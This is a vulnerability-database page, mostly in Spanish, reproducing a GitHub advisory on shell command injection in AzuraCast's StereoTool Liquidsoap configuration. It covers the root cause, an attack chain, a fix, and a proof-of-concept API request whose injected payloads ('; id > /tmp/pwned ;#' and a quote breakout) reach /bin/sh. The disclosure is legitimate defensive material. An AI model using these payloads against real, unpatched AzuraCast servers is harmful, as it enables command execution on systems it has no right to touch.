llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · azuracast/azuracast

GHSA-C45C-WRCP-22FX

Shell command injection in StereoTool Liquidsoap pipe() via stereo_tool_license_key and stereo_tool_configuration_path

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición32 dDesde la divulgación, 18 oct 2026, 10:44 a. m.
Detección31 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
18 oct 26
18 nov 26
20 nov 26
18 oct 26
26 oct 26
3 nov 26
12 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-C45C-WRCP-22FX divulgada · CVSS 8.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

AzuraCast's Liquidsoap config writer builds a shell command string from two attacker-controlled fields — `stereo_tool_license_key` and `stereo_tool_configuration_path` — and injects it into a Liquidsoap `pipe()` operator whose `process=` argument is executed via `/bin/sh -c` (OCaml `Unix.open_process_full`). A station user with the standard `Profile` permission can achieve OS command execution as the AzuraCast/Liquidsoap process user on any station whose backend has StereoTool installed.

This is a distinct sink from the existing advisories:
- `GHSA-73rf-jp3g-8rcf` (live-recording `process.run`) — different sink
- `GHSA-q8wg-3qg7-8pc7`, `GHSA-q4ph-8x8g-95f8`, `GHSA-93fx-5qgc-wr38` — Liquidsoap-level `#{...}` interpolation, fixed via `toRawString()`. `toRawString()` does NOT escape shell metacharacters, so it is irrelevant here.

Root Cause

`backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php` (~lines 1018-1035) concatenates user input directly into a shell command and wraps only in `toRawString()`:

$stereoToolConfiguration = $station->getRadioConfigDir()
    . DIRECTORY_SEPARATOR . $settings->stereo_tool_configuration_path;

if (is_file($stereoToolBinary)) {
    $stereoToolProcess = $stereoToolBinary . ' --silent - - -s ' . $stereoToolConfiguration;

    if (!empty($stereoToolLicenseKey)) {
        $stereoToolProcess .= ' -k "' . $stereoToolLicenseKey . '"';
    }

    $stereoToolProcessString = self::toRawString($stereoToolProcess);

    $event->appendBlock(<<<LIQ
        # Stereo Tool Pipe
        radio = pipe(replay_delay=1.0, process={$stereoToolProcessString}, radio)
    LIQ);
}

`toRawString()` (ConfigWriter.php ~line 1362) wraps in a random `{str_xxxxx|...|str_xxxxx}` heredoc and only strips the closing delimiter — it does not escape `"`, `;`, `$`, backticks, `|`, `&`, or any shell metacharacter. Liquidsoap's `pipe(process=...)` calls `Process_handler.run` → `open_process` → `Unix.open_process_full`, which per the OCaml stdlib invokes `/bin/sh -c <cmd>`.

`Types::stringOrNull($value, true)` on the setters (`StationBackendConfiguration.php` lines 149-156) only trims whitespace; no character filtering.

Impact

Full OS command execution as the AzuraCast/Liquidsoap user on the container/host, on any station where StereoTool is installed and configured. This grants read/write/destroy of AzuraCast data (media library, station configs, cached credentials for external services) and typically full container compromise.

Attack Chain

  1. Entry: `PUT /api/station/{id}/profile/edit` with body `{"backend_config": {"audio_processing_method": "stereo_tool", "stereo_tool_configuration_path": "x ; id > /tmp/pwned ;#"}}` (or similarly weaponised `stereo_tool_license_key`).
  2. Guard: `StationPermissions::Profile` middleware (`api_station.php:188`).
  3. Bypass: Any station role with `Profile` permission passes (not admin-only).
  4. Storage: `StationBackendConfiguration::stereo_tool_configuration_path` setter (lines 154-156).
  5. Guard: `Types::stringOrNull($value, true)` — whitespace trim only.
  6. Bypass: No metacharacter filter; payload persists verbatim.
  7. Readiness: `StereoTool::isReady()` — requires `isInstalled()` AND `!empty(stereo_tool_configuration_path)`.
  8. Guard: Precondition — the StereoTool binary must be installed. `isReady()` does NOT check that the path resolves to a real file.
  9. Concat (config path): `ConfigWriter.php:1024` — `$stereoToolBinary . ' --silent - - -s ' . $stereoToolConfiguration` (no quoting).
  10. Result: `/…/stereo_tool --silent - - -s /…/config/x ; id > /tmp/pwned ;#`
  11. Concat (license key): `ConfigWriter.php:1027` — `.= ' -k "' . $licenseKey . '"'`.
  12. Attacker can break out of double quotes with `" ; id ; echo "`.
  13. Wrap: `toRawString($stereoToolProcess)` produces `{str_xxxxx|<raw shell command>|str_xxxxx}`.
  14. Guard: Prevents Liquidsoap `#{...}` interpolation only.
  15. Bypass: Shell metacharacters pass through unmodified.
  16. Sink: `pipe(replay_delay=1.0, process={str_xxxxx|…|str_xxxxx}, radio)` → Liquidsoap `Process_handler.run` → `Unix.open_process_full` → `/bin/sh -c <cmd>`.
  17. Impact: Arbitrary command execution as the Liquidsoap process user on station (re)start.

Bypass Evidence

  • `toRawString()` implementation (`ConfigWriter.php` ~lines 1362-1373) does one `str_replace($endString, '', $value)` and no metacharacter escaping — verified in source at tag `0.23.8`.
  • OCaml `Unix.open_process_full` invokes `/bin/sh -c` (documented stdlib behaviour; verified in Liquidsoap `process_handler.ml:48-49`, called from `pipe.ml:257`).
  • `Types::stringOrNull($value, true)` in `StationBackendConfiguration.php:150,155` is a whitespace-trim; no deny-list.
  • Vulnerable code present on the latest release tag `0.23.8` (verified: `git show 0.23.8:backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`).

Proof of Concept

Prerequisite: StereoTool binary present at `<parent>/storage/stereo_tool/stereo_tool` (installed via the built-in Services → StereoTool workflow), attacker has API key with `StationPermissions::Profile` on the target station.

PUT /api/station/{id}/profile/edit
Authorization: Bearer <api-key>
Content-Type: application/json

{
  "backend_config": {
    "audio_processing_method": "stereo_tool",
    "stereo_tool_configuration_path": "x ; id > /tmp/pwned ;#",
    "stereo_tool_license_key": ""
  }
}

Restart the station backend (or wait for a config regeneration). Observe `/tmp/pwned` created in the AzuraCast/Liquidsoap container as the process user.

Equivalent PoC via `stereo_tool_license_key`:

{
  "backend_config": {
    "audio_processing_method": "stereo_tool",
    "stereo_tool_configuration_path": "stereo-tool.sts",
    "stereo_tool_license_key": "" ; id > /tmp/pwned ; echo ""
  }
}

Affected Versions

`<= 0.23.8` (latest release at time of report). Vulnerable code verified present on tag `0.23.8` and on `main` (HEAD `66adc460`).

Suggested Fix

Either:

  1. Restructure to avoid `/bin/sh -c`: use Liquidsoap's `process=` array-form or `execve` operator that takes an explicit argv list (no shell), OR
  2. Shell-escape each user-controlled component with `escapeshellarg()` before concatenation:
$stereoToolConfiguration = escapeshellarg(
    $station->getRadioConfigDir() . DIRECTORY_SEPARATOR . $settings->stereo_tool_configuration_path
);
$stereoToolProcess = $stereoToolBinary . ' --silent - - -s ' . $stereoToolConfiguration;
if (!empty($stereoToolLicenseKey)) {
    $stereoToolProcess .= ' -k ' . escapeshellarg($stereoToolLicenseKey);
}

Additionally recommended: reject shell metacharacters at the setter level for these two fields (`stereo_tool_configuration_path`, `stereo_tool_license_key`), and validate `stereo_tool_configuration_path` resolves under the station config directory (defence-in-depth against traversal).

Credit

zx (Jace) — GitHub: @manus-use

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
azuracast/azuracast≤ 0.23.8
0.23.8
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistazuracast/azuracast
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-c45c-wrcp-22fx

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.